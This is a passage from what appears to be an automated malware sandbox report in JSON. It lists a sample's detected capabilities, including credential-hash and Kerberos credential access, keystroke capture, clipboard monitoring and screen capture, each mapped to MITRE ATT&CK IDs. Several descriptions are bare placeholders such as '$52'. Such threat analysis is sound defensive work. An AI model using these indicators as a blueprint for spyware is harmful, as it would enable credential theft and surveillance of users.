00000000-00003376.00000003.162364.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$52","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"Found string \"

b__6_0&GetCurrentHashtable&SetCurrentHashtable@\" (Indicator: \"nthash\"; File: \"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin\")\n Found string \"

b__6_0&GetCurrentHashtable&SetCurrentHashtable@\" (Indicator: \"nthash\"; Source: \"00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003.002","relevance":1,"id":"string-867","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"NtUserGetClipboardData\" (File: \"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: DefLaunch.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"NtUserAddClipboardFormatListener\" (File: \"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$57","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"